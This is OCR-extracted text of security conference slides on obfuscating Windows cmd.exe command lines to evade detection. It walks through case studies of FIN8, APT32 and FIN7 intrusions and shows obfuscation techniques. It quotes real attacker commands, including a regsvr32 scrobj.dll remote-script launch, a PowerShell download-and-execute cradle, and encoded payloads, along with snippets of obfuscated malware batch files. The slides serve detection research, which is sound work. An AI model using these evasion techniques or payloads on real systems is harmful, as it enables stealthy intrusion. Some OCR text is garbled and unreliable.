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C:\>"""who""am"i

 Daniel Bohannon

« Title :: Senior Applied Security Researcher
« Team :: Advanced Practices Team @ Mandiant/FireEye
o Twitter :: @danielhbohannon

 Blog :: http://danielbohannon.com

* Projects

* |nvoke-Obfuscation & Invoke-CradleCrafter
« Revoke-Obfuscation (w/@Lee_ Holmes)

* |nvoke-DOSfuscation




DISCLAIMER:

« Case studies and examples are drawn from our experiences and
activities working for a variety of customers, and do not represent our
work for any one customer or set of customers. In many cases, facts
have been changed to obscure the identity of our customers and
Individuals associated with our customers.
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State of Obfuscation [Red Team]

Why Obfuscate?

« Evade static (and some dynamic) detections

* Increase work for defenders

How Extensive?

« Some obfuscation framework exists for almost
any scripting language that attackers like to use

Slowing down?

* Not any time soon (but | may be biased)

https://i.imgur.com/IG8bRQe.jpg

/



State of Obfuscation [Blue Team]

EM Command Prompt - powershell - O X

AMSI: Antimalware Scan Interface

ETW: Event Tracing (Windows)

Revoke-Obfuscation (AST-based
PowerShell obfuscation detection
framework)

Absolutely, because attackers are responding by...



State of Obfuscation [Attacker Response]

* Choosing softer targets
« Disabling defensive visibility
« AMSI, ETW, Anti-forensics

« Using languages that do not provide good visibility

« JavaScript (quieter than PS, but still AMSI)

« AMSI visibility if run via Windows Script Host (VBS or
JScript)

» C# (msbuild.exe all the things)

http:/mwww.syslog.com/~jwilson/pics-i-like/kurios119.jpg

« Custom binaries (b/c whitelisting still uncommon)

9 /



State of Obfuscation [My Response]

. = EN Windows PowerShell
¢ What IS thIS talk’? PS C:\> Invoke-Obfuscation...Invoke-Cracd

« NOT PowerShell (well, not entirely)

| /



State of Obfuscation [My Response]

PS C:\> Invoke-Obfuscation...Invoke-CradleCrafter...
PS C:\> Start-Process cmd.exe
PS C:\>

NOT PowerShell (well, not entirely)

ER C\Windows\system32\cmd.exe

cmd bf . Microsoft Windows [Version 10.0.15063]
ma.exe obfuscation (c) 2017 Microsoft Corporation. All rights reserved.

C:\>Invoke-DOSfuscation?

Command line arguments

Parent/child process relationships

Source of action on registry, files, etc.

But why an entire framework for cmd.exe obfuscation?

| /



OUTLINE

State of the- Unten Obfuscation

Obfuscation in the Wild: 3 Case Studies

Whose Binary is it Anyway: Obfuscating Binary Names

Deep Dive: Character Insertion Obfuscation
Deep(er) Dive: Advanced Payload Obfuscation
Invoke-DOSfuscation Public Release & Live Demo

Detecting DOSfuscation




Obfuscation in the Wild

 June 30, 2017

« Co-authored blog post with Nick Carr
(@itsreallynick)

Nick Carr

@ltsReallyNick Follows you

)
Q <O FireEye

Obfuscation in the Wild:
Targeted Attackers Lead the
Way in Evasion Techniques

« Qutlines three different obfuscation techniques that
MANDIANT consultants identified three threat

actors using

* Feb 2017 :: FINS

« Apr 2017 :: APT32 (OceanLotus, Vietham)

« Jun 2017 :: FIN7 (Carbanak)
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June 30, 2017 | by Daniel Bohannon, Nick Carr | Threat Research

Throughout 2017 we have observed a marked increase in the use
of command line evasion and obfuscation by a range of targeted
attackers. Cyber espionage groups and financial threat actors
continue to adopt the latest cutting-edge application whitelisting
bypass technigues and introduce innovative obfuscation into their
phishing lures. These technigues often bypass static and dynamic
analysis methods and highlight why signature-based detection
alone will always be at least one step behind creative attackers.

/




Case Study #1: FINS

e February 2017

* Process-level environment variables + PowerShell Stdin (launched from macro)

cmd /c echo %_MICROSOFT _UPDATE_CATALOG% | % MICROSOFT _UPDATE_SERVICE%

&4 Windows PowerShell F=RrEl X

PS C:\Users\ 1ce-crackros-master> python .\oledump.py -p p = < e, | 876e875c32305733dc48843dc1180TbOp
4be573014e944c09 =
A: word/ vbaPrOJect bin

Al: 433 'PROJECT'

A2: 41 'PROJECTwm'
A3: M 9209 'vBA/ThisDocu nt'
Plugin: Sketc cipher detected: OfficeCrackros plugin by Nick Carr
MsgBox Word as unable to read this document. It may be corrupt.
'Set Auusvj mbcqglw = thhxmjvhmikj(winmgmts:\‘ ‘\root\\cimvz:hinBZ_ProcessStartup)‘
'Set Jxrdrd Zmhhxmivhmiki(winmamts :\\.\\roo imv2:Win32 Process)'
Oiiuzhf =|cmd /c echo % MICROSOFT_UPDATE CATA | % _MICROSOFT_UPDATE_SERVICE%
set LufluibdLufugdm = ZmhhxmjVhmik3j (New:wscript. She11) Environment (New:wscript.shell)
Set LufluibdLufuqdm = ZmhhxmjVvhmikj(New:WScript.ShelTPROCESS) .Environment (New:WScript.Shel1PROCESS)
If Len(LufluibdLufugdm(Programw6432))

oqcyji _CT=
0oqcyji & vbCrLf & _PA=237559 powershe” -
oqcyji vbCrLf & _KE=487553

o (%)
CT=

0qcyJi &
oqcy3di
oqcyyi oqcyji &
0qcyji 0gqcyji & vbCrLf &
0qcy] 0qcyjl & vbCrLf & _MICROSOFT_UPDATE_SERVICE=powershell -
Oqcy]1 = 0qcyji & vbCrLf & _MICROSOFT_UPDATE_CATALOG=
Yczqeptq = $s=SEnv:_CT;%0="";81=8s.Tlength;$i=SEnv:_PA%S$1;while(S0.length -ne$1){So+=8s[$1];8i=(Si+SEnv:_KE)%S$T1}iex(S0)"
3639 'VRA/_VRA_PROIECT'
738 'vBA/dir'
: word/activeX/activex2.bin
Bl: 112 '\ x01ComnObhi'
B2:

FH $s=SEnv: CT;$0=";$l=%s.length;$i=SEnv: PA%SI;while($0.length -ne$l){$o+=3s[$i];$i=($i+$Env: KE)%3$l}iex($0)

vbCrLf & _PA=161676
KE=289669

14



Case Study #2: APT32 (OceanlLotus)

« April 2017

« Caret and un-paired double guotes in regsvr32.exe arguments
o II"nMMAp  (does not show up in regsvr32.exe arguments)

o /i"N"t"t"p (DOES show up in regsvr32.exe arguments — must be even number of quotes)

2017-04-19 10:31:00 regsvr32.exe /s /n/u /l:"h"t"t"p:/mjpg scrobj.dll

2017-04-19 10:31:01 :rShell\v1.0\powershell.exe | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
-eXECUt BYPASS -COm "IEX ((new-object net.webclient).downloadstring('http://...

Host Investigative Platform (HIP) capturing real-time attacker activity during a MANDIANT incident response engagement for APT32 activity

| /



Case Study #3: FIN7 (Carbanak)

« DOCX/RTF + LNK w/Word COM to retrieve remaining payload from original document
» Process-level environment variables + cmd.exe Stdin
« JavaScript encoding & concatenation:
« "Wor"+"d.Application" and [String.fromCharCode(101)+'va'+'l']
) Data]
ive path (UNICODE): .+\.«\..\Windows\System32\cmd. exe

Arguments (UNICODE): /C [ x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t
w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1l"'] (w.ActiveDocument.Shape

s(1).TextFrame.TextRange.Text);} h(e){}; >%HOMEPATHS%\md5.txt &}echo %x:@=%|cmd
1 location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico




Case Study #3: FIN7 (Carbanak)

]
» path (UNICODE): «+\::\..\Windows\System32\cmd. exe
(UNICODE): /C x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo

("","Wor"+"d.Application"); [String.fromCharCode(101)+'va'+"'1"'] (w.
)i} (e){}; >%HOMEPATH%\md5.txt &lecho %x:@=5%|cmd

location (UNICODE): c:\Users\andy\Desktop\2013-Word.ico




Case Study #3: FIN7 (Carbanak)

[String Datal
Relative path (UNICODE): ««\..\..\Windows\System32\cmd. exe
nts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo try{

w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1"'] (w.ActiveDocument.Shape
. TextFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &lecho %x:@=%|cmd

con location (UNICODE) c:\Users\andy\Desktop\2013-Word.ico




Case Study #3: FIN7 (Carbanak)

° X X
Process-level env var Process-level env var

e path (UNICODE): ««\..\..\Windows\System32\cmd. exe
ts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'l"'](w.ActiveDocument.Shape

(tFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &}echo %x:@=%|cmd
Icon location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico




Case Study #3: FIN7 (Carbanak)

Garbage delimiter

[String Datal
Relative path (UNICODE): ««\..\..\Windows\System32\cmd. exe
nts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo try{

w=GetObject("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1"'] (w.ActiveDocument.Shape
. TextFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &lecho %x:@=%|cmd

con location (UNICODE) c:\Users\andy\Desktop\2013-Word.ico




Case Study #3: FIN7 (Carbanak)

. X @ X

|

Garbage delimiter

e path (UNICODE): ««\..\..\Windows\System32\cmd. exe
ts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1l"'] (w.ActiveDocument.Shape

(tFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &}echo %x:@=%|cmd
Icon location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico




Case Study #3: FIN7 (Carbanak)

1 1

Garbage delimiter

e path (UNICODE): ««\..\..\Windows\System32\cmd. exe
ts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1l"'] (w.ActiveDocument.Shape

(tFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &}echo %x:@=%|cmd
Icon location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico




Case Study #3: FIN7 (Carbanak)

1 1

Garbage delimiter

e path (UNICODE): ««\:+:\..\Windows\System32\cmd. exe
[ x=wsc@ript /e:js@cript %HOMEPATH%\md5.txt & echo t

ts (UNICODE): 5

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va‘'+'1l"'] (w.ActiveDocument.

(tFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &}echo %x:@=%|cmd
Icon location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico

Delimiter removal




Case Study #3: FIN7 (Carbanak)

A B |

Garbage delimiter Delimiter removal

e path (UNICODE): ««\..\..\Windows\System32\cmd. exe
ts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1l"'] (w.ActiveDocument.Shape

(tFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &}echo %x:@=%|cmd
Icon location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico




Case Study #3: FIN7 (Carbanak)

. X % % x:%:
Garbage delimiter Delimiter removal

e path (UNICODE): ««\..\..\Windows\System32\cmd. exe
ts (UNICODE): /Ciset x=wsc@ript /e:js@cript !%HOMEPATH%\md5.txt & echo t

Object("","Wor"+"d.Application");this[String.fromCharCode(101)+'va'+'1l"'] (w.ActiveDocument.Shape

(tFrame.TextRange.Text); }catch(e){}; >%HOMEPATH%\md5.txt &}echo %x:@=%|cmd
Icon location (UNICODE): c:\Users\andy\Desktop\2013-Word. ico




Case Study #3: FIN7 (Carbanak)

« cmd.exe /c set x=wsc@ript /e:js@cript ... echo %x:@=%|cmd

26




Case Study #3: FIN7 (Carbanak)

@' Daniel Bohannon o
3 ) @danielhbohannon

All this cmd.exe obfuscation led me to write
Wed :: June 28, 2017 — Nick Carr (@itsreallynick) a small tool called Out-FINcodedCommand

finds FIN7 testing payload for testing your detections :: github.com
/danielbohannon ...
« Thu :: June 29, 2017 — We write blog post -

Fri . June 30, 2017 — We publish blog post

Sat/Sun :: July 1-2, 2017 — | write and release POC:
Out-FINcodedCommand

1:34 PM - 2 Jul 2017

27


https://github.com/danielbohannon/Out-FINcodedCommand

Case Study #3: FIN7 (Carbanak)

fge ' Daniel Bohannon o
L ) @danielhbohannon
All this cmd.exe obfuscation led me to write

Wed :: June 28, 2017 — Nick Carr (@itsreallynick) a small tool called Out-FINcodedCommand
finds FIN7 testing payload for testing your detections :: github.com

/danielbohannon ...

Thu :: June 29, 2017 — We write blog post

Fri . June 30, 2017 — We publish blog post

Sat/Sun :: July 1-2, 2017 — | write and release POC:
Out-FINcodedCommand

"Is there more here?"

1:34 PM - 2 Jul 2017

| /


https://github.com/danielbohannon/Out-FINcodedCommand

Implications of This Research

* These obfuscation techniques affect:

« Dynamic detections

« Arguments, parent/child relationship, env var, stdin
 Static detections

 All of the above + so much more

« CFP submissions ©

Daniel Bohannon @danielhbohannon - now v
) TFW you burn 1 hour on CFP submissions getting batted down by @Cloudflare
when any field containing "cmd.exe" is blocked -- "cmd[.Jexe" FTW.

O (! Q 1l
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Implications of This Research

30

cmd.exe /c "echo Invoke-DOSfuscation"




Implications of This Research

31

cmd.exe /c "set O=fuscation&set B=oke-
DOS&&set D=echo Inv&&call %D%%B%% 0O %"




Implications of This Research

32

cm%windir:~ -4, -3%.eXe,N/NC",: S EL A
roN=fuscatMon&,:, AseNT A N A\BA=oke-DNMNOS&E,; , SMEN
A dM=ec™ho I"nvE&&,:;,CMAIN,: A0 rD% N0 B % 0% 0"%"




Implications of This Research

33

FOR /F "delims=il tokens=+4" %Z IN (‘assoc .cdxml') DO %Z
SN NG SMEE N MoN=fuscathion&, ;A seNT N A ABA=0ke-
DNOS&&,:;, s "EtN N d*=ec”ho
I"nv&&,;,CMAIN,: A D% % B %% 0%"




Implications of This Research

ANEMNOR O, o, o, I delims=il

tokens= +4 o %z, NN,
, ( , ’ ’ ’ o ’ ’ ’ ’ /\/\a/\/\SAAS/\/\OC o o ’ :
.CAAdN\XI’nN\| ! - o ’ ) o o - /\d/\o ’ o ’ L
%z , ;N JNC", o, St N NoM=fuscattion& o, seNT
NN ABAz0Mke-DMOS&& , o, SMEtM A d?=ec™ho I'nv&&
-, CMNAN o, o, N %N"D%N%B %% 0%"

34




Implications of This Research — HANG ON TIGHT

35



Implications of This Research — HANG ON TIGHT AS WE STACK
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Whose Binary is it Anyway: Obfuscating Binary Names

« Rename/copy cmd.exe @

e Cmd.exe substitutes (klnd Of) Defenders watching launches of cmd? What

38

about forfiles? ‘<

- forfiles.exe (@vector_sec) forfiles /p c:\windows\system32 /m
notepad.exe /c calc.exe

1:41 PM - 11 Aug 2017

« pcalua.exe

v

 scriptrunner.exe (@KyleHanslovan -- Win10+)




Whose Binary is it Anyway: Obfuscating Binary Names

 Rename/copy cmd.exe

« Cmd.exe substitutes (kind of)

« forfiles.exe (@vector_sec)

« pcalua.exe

Eric
@vector_sec

Defenders watching launches of
about forfiles? <

forfiles /p c:\windows\system32
notepad.exe /c calc.exe

1:41 PM - 11 Aug 2017

 scriptrunner.exe (@KyleHanslovan -- Win10+)

ﬁ apiOcradle / BinariesThatDoesOtherStuff.txt secret
Last active 2 days ago « Report gist

<> Code Revisions 23 Stars 22 Forks 8

BinariesThatDoesOtherStuff

BinariesThatDoesOtherStuff.txt

forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
bash.exe -c calc.exe

scriptrunner.exe -appvscript calc.exe

o https://qist.github.com/apiOcradle/8cdc53e2a80de079709d28a2d96458c2

« Syntactical obfuscation of legitimate binary name?

39



https://gist.github.com/api0cradle/8cdc53e2a80de079709d28a2d96458c2

Whose Binary is it Anyway: Obfuscating Binary Names

e Env var encoding C:\> echo %ProgramData%

40

C:\ProgramData

* Nothing new
9 C:\> echo %ProgramData:~0,1%%ProgramData:~9,2%

CmD

* Resolves on command line

C:\> %ProgramData:~0,1%%ProgramData:~9,2%
CmD

C:\> %ProgramData: ~3,1%%ProgrambData:~5,1%we%ProgramData: ~7,1%she%Public:~12,1%%Public:~12,1%

Powershell




Whose Binary is it Anyway: Obfuscating Binary Names

« Something that does NOT resolve on the command line (i.e. internal commands)

c:\ >

ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\me\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramiW6432=C:\Program Files\Common Files

« SET o\

.386=vxdfile

¢ /\ESSSC)(: .Svw=wireshark-capture-file

.accda=Access.ACCDAExtension.16

° .accdb=Access.Application.16
FTYPE .accdc=Access.ACCDCFile.16

C:\> R

Access.ACCDAExtension.16=C:\Program Files\Microsoft Office\Root\Officel6\MSACCESS.EXE /NOSTARTUP "%1"

Access.ACCDCFile.16="C:\Program Files\Microsoft Office\Root\Officel6\MSACCESS.EXE" /NOSTARTUP "%1"
Access.ACCDEFile.16="C:\Program Files\Microsoft Office\Root\Officel6\MSACCESS.EXE" /NOSTARTUP "%1" %2




Whose Binary is it Anyway: Obfuscating Binary Names

« Using SET to produce the string PowerShell

@AW sct | findstr PowerShell
Path=C:\Windows\system32;C:\Windows ;C: \Windows\System32\Wbem;C:\Windows\Syste
m32\WindowsPowerShell\v1.0\;C:\Users\me\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\W

indowsPowerShell\v1l.0\Modules

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;
C:\Windows\system32\WindowsPowerShell\vl.0\Modules

# Randomly select from find/findstr query values that return specific output containing "PowerShell”.

$findvalPSModule = Get-Random -InputObject @('PSM', 'SMo', 'SMod', 'Modu', 'odu’', "du’, 'dul’,'ule’, 'leP',"ePa’', 'ePat")

/




Whose Binary is it Anyway: Obfuscating Binary Names

« Using SET to produce the string PowerShell

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;
C:\Windows\system32\WindowsPowerShell\v1l.0\Modules

Required (case-sensitive) delimiters are: s and \

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules

43




Whose Binary is it Anyway: Obfuscating Binary Names

« Using SET to produce the string PowerShell

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;

C:\Windows\system32\WindowsPowerShell\v1l.0\Modules

Required (case-sensitive) delimiters are: s and \

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules

1 2 3 4 S 6 7 8 9 10 11 12 13

| /




Whose Binary is it Anyway: Obfuscating Binary Names

« Using SET to produce the string PowerShell

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;
C:\Windows\system32\WindowsPowerShell\v1l.0\Modules

Required (case-sensitive) delimiters are: s and \

PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules

1 2 3 4 S 6 7 8 9 10 11 12 13

cmd.exe /c "FOR /F "delims=s\ tokens=4" %a IN (‘set?|findstr PSM')DO %a"

B Select Command Prompt - cmd.exe /c "FOR /F "delims=s\ tokens=4" %a IN ('set” [findstr PSM')DO %a"
C:\>cmd.exe /c "FOR /F "delims=s\ tokens=4" %a IN ('set”|findstr PSM')DO %a"

@ AWIPowerShell

Windows PowerShell

Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\>
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Deep Dive: Character Insertion Obfuscation

» Typically more useful for evading static analysis detections rather than
dynamic detections

47

Caret escape character (")

Double quotes, evenly balanced (")

"C:\WINDOWS\system32\cmd.exe" /c
PAOAWARNASAK AN NN AerxN e -NOEXIt -Exec Bypass -EC
IAAOAE4AZQB3ACOATWBIAGOAZQBJAHQAIABTAHK...

regsvr32.exe /s /n /u /i:*h"t"t"p://[<REDACTED>.jpg scrobj.dll

Encapsulating parentheses - ——) @ Daniel Bohannon

Leading & trailing special characters

Standard input argument hiding

@danielhbohannon

,cmd;/ccalc TIL cmd.exe is suuuuper friendly with

parentheses -- inspired by NEWSCASTER:

cmd /c echo calcjemd

cmd /c (((cale)))&( ( ((notepad)) ) ))

11:24 AM - 29 Aug 2017



Deep Dive: Character Insertion Obfuscation

» Typically more useful for evading static analysis detections rather than

dynamic detections

« Nonexistent env vars (batch files)

 Custom env vars

« EXisting env vars

48

echo "Find Evil'" = ec%a%ho "Fi%b%nd Ev%c%il!"

J\LLLAWWINDOWS\system32\emd.exe /V /K set p=p&&!plowershell
-w hidden -c¢ "IEX ((('Q0zF='+'Q0z'+'env:T'+'emp+'+'zZARYUEYyjV'...

C:\> echo %ProgrambData%
C:\ProgramData

C:\> echo
%ProgrambData:~0,1%%ProgrambData:~9,2%
CmD




Deep Dive: Character Insertion Obfuscation

 Qut-FINcodedCommand POC

» Afew binary syntax options with
environment variable character substitution

49

£<Y» Daniel Bohannon o
) @danielhbohannon

On a similar note, "cmd" can be crafted from

env vars substrings like:

%ProgramData:~0,1% %ProgramData:~9,2%
/c echo OBFUSCATION_FTW

12:24 PM - 2 Jul 2017

£=X» Daniel Bohannon o
) @danielhbohannon
Replying to @danielhbohannon @Ledtech3

This should be a more resilient option:

%ProgramData:~3,1% % ProgramData:~5,1
%we%ProgramData:~7,1%she%Public:~12,

1:16 PM - 2 Jul 2017

1% %Public:~12,1%
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Jonathan Bar Or 8
{ Follow ] ¥
J @yo_yo_yo_jbo RS

o @danielhbohannon I'm going crazy.
Unfortunately this is too short for Twitter :(

B CmD

» Afew binary syntax options with
environment variable character substitution

1:49 PM - 3 Jul 2017

B¥ CmD = O X

C:\>%allusersprofile:~4,1%%temp:~-3,1%%prompt:~-1,1%%programfiles:~10,1%%allusersprofile:~8,1%%allusersprofile:~-4,-3%%allusersprofile:~-4,-3%%programfiles:~10,1%"hk%windi
r:~0,1%%appdata:~3,1%%temp:~2,1%%windir:~-1,1%%windir:~-3,1%%programfiles:~-5,1%%temp:~-4,1%%systemroot :~3,1%%allusersprofile:~8,1%%allusersprofile:~4,1%%temp:~-3,1%%temp:
2, 1%%commonprogramfiles:~-10,1%%appdata:~-3,1%%windir:~0,1%%allusersprofile:~4,1%%windir:~-3,1%%windir:~-1,1%%windir:~-3,1%%programfiles:~-5,1%%temp:~-4,1%%temp:~2,1%%win
dir:~0,1%%windir:~-3,1%%programfiles:~9,1%%programfiles:~9,1%%allusersprofile:~8,1%%commonprogramfiles:~-7,1%%allusersprofile:~-4,-3%%programfiles:~10,1%%programfiles:~3,1
wwallusersprofile:~4,1%%windir:~-3,1%%windir:~0,1%%temp:~-3,1%%windir:~-1,1%%windir:~-1,1%%windir:~-3,1%%allusersprofile:~4,1%"%programfiles:~10,1%/v%programfiles:~10,1%%a
1lusersprofile:~8,1%%appdata:~3,1%%temp:~-4,1%%windir:~-3,1%%allusersprofile:~4,1%%appdata:~3,1%%commonprogramfiles:~-7,1%%programfiles:~10,1%/%allusersprofile:~-4,-3%%pro
gramfiles:~10,1%"%temp:~-3,1%%windir:~0,1%h%windir:~-3,1%%programfiles:~10,1%%programfiles:~3,1%%windir:~3,1%%commonprogramfiles:~-7,1%%allusersprofile:~-4,-3%"%programfil

es:~10,1%/%programfiles:~-5,1%%programfiles:~10,1%&8&%programfiles:~10,1%%systemdrive:~0,1%%appdata:~-4,-3%%allusersprofile:~-4,-3%
The operation completed successfully.
icrosoft Windows [Version 10.0.16200.1000]
(c) 2017 Microsoft Corporation. All rights reserved.
PWND

G\

50
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File Ratio First sub. Last sub. Times sub. Sources Size
i I i 661877d416f34411fad7e22246ee0d61d14de3065a34b0a7b2f28052d56db6e2 25/60 2012-08-15 2017-11-19 4 4 286.2 KB
« Env var encoding in the wild e :
b297db3bf24099236ccal34c76be92bd 18:28:57 01:12:01

51

« SHA-256: 661877d416f34411fad7e22246ee0d61d14de3065a34b0a7b2f28052d56db6e2

fibam

goto RealHead™M

[Devourer_3.0_12722772318242] [DSC@2702.JPG] [EJPack] ™M
“M

:RealHead”M
cls”™M

@echo off™M

“M
tAvoideVNBug”™M
if "%APPDATAS%'"==
if "%APPDATAS%'"==
“M
%scomspec:~-16, 1%%comspec:~—1%%scomspec:~-13,1% %comspec:~-13,1%%userprofile:~5,1%%appdata:~-7,1%%appdata:~-15, 1%%suserprofile:~6, 1%=%%bh%%j kq%%v2%%f7%%4 c501%%ulw8%% (cdf9)%%@6t c%% M
%scomspec:~-16, 1%%comspec:~-1%%comspec:~-13, 1%%appdata:~-13, 1%%appdata:~-7,1%%userprofile:~5, 1%%appdata:~-1%%appdata:~-13,1% ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION"M
%scomspec:~-16, 1%%comspec:~-1%%comspec:~-13, 1% D%scomspec:~-1%%tcopu:~B,1%%appdata:~-7,1%%userprofile:~6,1%%programfiles:~4, 1%%comspec:~-1%%programfiles:~4,1%=%systemroot%\F%appdat
ai~-7,1%%userprofile:~14,1%%comspec:~-13, 1%%comspec:~-16, 1%\HIDESE~%tcopu:~21, 1%"M

%scomspec:~-16, 1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1%%userprofile:~6, 1%%appdata:~-15,1%=%systemroot%\F%sappdata:~-7,1%%userprofile:~14, 1%%com
spec:~-13, 1%%comspec:~-16, 1%5\HIDESE~%tcopu:~21, 1%\D%scomspec:~-1%%tcopu:~B, 1%%appdata:~-7, 1%%userprofile:~6,1%%programfiles:~4, 1%%comspec:~-1%%programfiles:~4, 1%%comspec:~-16, 1%%cC
omspec:~-1%%comspec:~-13,1%%userprofile:~6, 1%%appdata:~-15, 1%"M

%scomspec:~-16, 1%%comspec:~-1%%comspec:~-13,1% %programfiles:~4,1%%appdata:~-1%%programfiles:~4,1%=%Devourer%s\Wsprogramfiles:~-4,1%%userprofile:~14, 1%RAR™M

%scomspec:~-16, 1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-1%%appdata:~-13,1%%tcopu:i~11,1%%userprofile:~5, 1%%appdata:~-7,1%%appdata:~15, 1%%comspec:~-1%=%random%%ran
doms”™M

"" if not exist %systemroot%\system32\drivers\values.log goto Kill™M
" FOR /F "tokens=*" %%i in (%systemroot%\system32\drivers\values.log) do set %%i"M

“M

if "%1"=="-Install" goto Install™M
if "%l' -Run" goto Run”M

if "%l' -Tenbatsu" goto Tenbatsu”™M
if "%l' -Kill" goto Kill™M

if "%l' -0Open" goto Open”™M

if /i "¥1"=="-goto" goto %2"M %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1%

decodes to set
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Env var encoding in the wild

» Obfuscator: https://github.com/guillaC/JSBatchobfuscator

File Ratio First sub. Last sub. Times sub. Sources Size
Se1df42f00829d16afd97c575108da45467bbcab82cabe3d2832a009dddaaBa7 0/59 2017-10-12 2017-10-12 1 1 34.3 KB
ab93ee994cf51878eeb6ac6286dadfed 15:52:30 15:52:30
« SHA-256: 9e1df42f00829d16afd97c575f08da45467bbcab92ca5e3d2832a009dddaa8a7
@echo off
Set aayhuSu8pB8dveftj4i=@123456789%abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
;;:hc off

Set full alphabet in custom env var

@echo off

Set aayhu8uB8pB8dveftj4i=012345678%abcdefghijkimnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

cls

@%aayhuBuBp8dveTtjdi:~14, 1%%aayhuBuBp8dveftjdi:~12, 1%%aayhuBuBp8dveftjd4i:~17, 1%%aayhuBuBpBdveftjdi:~24, 1% %aayhul
*aayhuBuBp8dveftj4ii~29, 1%%aayhuBulpidvertj4ii~10, 1¥%aayhuBuBp8dveftj4i:~28, 1%%aayhuBuBp8dvertj4i:~2@, 1%%aayhudusd
~21,1% /%aayhu8u8p8dveftjdi:~41,1% /%aayhuBuBpBdveftjdi:~44,1%%aayhuB8uBpB8dveftjdi:~48,1% %aayhuBuBpBdvaftjdi:~44,
pBdvaftjdi:~23, 1%.%aayhuBuBpBdvaftjdi:~14, 1%%aayhuBuBp8dveftjdi:~33, 1%%aayhuBuBpBdveftjdi:~14,1%
*saayhuBuBp8dveftjd4i:~29, 1%%aayhuBuBp8dveftj4i:~1@, 1%%aayhuBuBp8dveftj4i:~28, 1%%aayhuBuBp8dvertj4i:~20, 1%%aayhuBusd
~21,1% /%aayhu8u8p8dveftjdi:~41,1% /%aayhuBuBpBdveftjdi:~44,1%%aayhuB8uBpB8dveftjdi:~48,1% %aayhuBuBpBdvaftjdi:~44,
pBdveftjdi:~27, 1%%aayhuBuBp8dveTtjdi:~43, 1%%aayhuBuBpBdveftjdi~21, 1%%aayhuBuBpBdveftjdi:~25, 1%.%aayhuBuBpBdyRft]é
@%aayhuBuBp8dveTtjdi:~14, 1%%aayhuBuBp8dveftjdi:~12, 1%%aayhuBuBp8dveftjdi:~17, 1%%aayhuBuBp8
i:~6@,1% %aayhuBuBp8dveTtjd4i:~38, 1%%aayhuBuBpBdveTtj4i:~56, 1%¥%saayhuBuBp8dveTtjd4i:~53, 1%%aa DECO D ED %
8dveftjdi:~56,1%%aayhuBu8p8dveftjdi:~54, 1%%aayhu8uBp8dveftjdi:~48, 1%%aayhuBu8p8dveftjdi:~53, 1%\%aayhuBu8pB8dveltjd
yhuBuBp8dveftjd4i:~32, 1%%aayhuBuBp8dveftjd4i:~10, 1%%aayhuBuBp8dveftjd4i:~27, 1%%aayhuBuBpBdveftjdi:~14, 1%\%saayhuBuBpBe
8, 1%%aayhuBuBpBdveftjd4i:~28, 1%%aayhuBuBpBdveftjdi:~14, 1%%aayhuBuBpBdveftjd4i:~28, 1%\%aayhuBu8p8dveTtj4i:~58, 1%%aay
j4ii~4,1%%aayhuBuBp8dveftjdi:~3, 1¥%saayhuBuBp8dveftjdii~2, 1%%aayhuBuBp8dvertj4i:~49, 1¥%saayhududp8dvettjdii~24, 1%%a
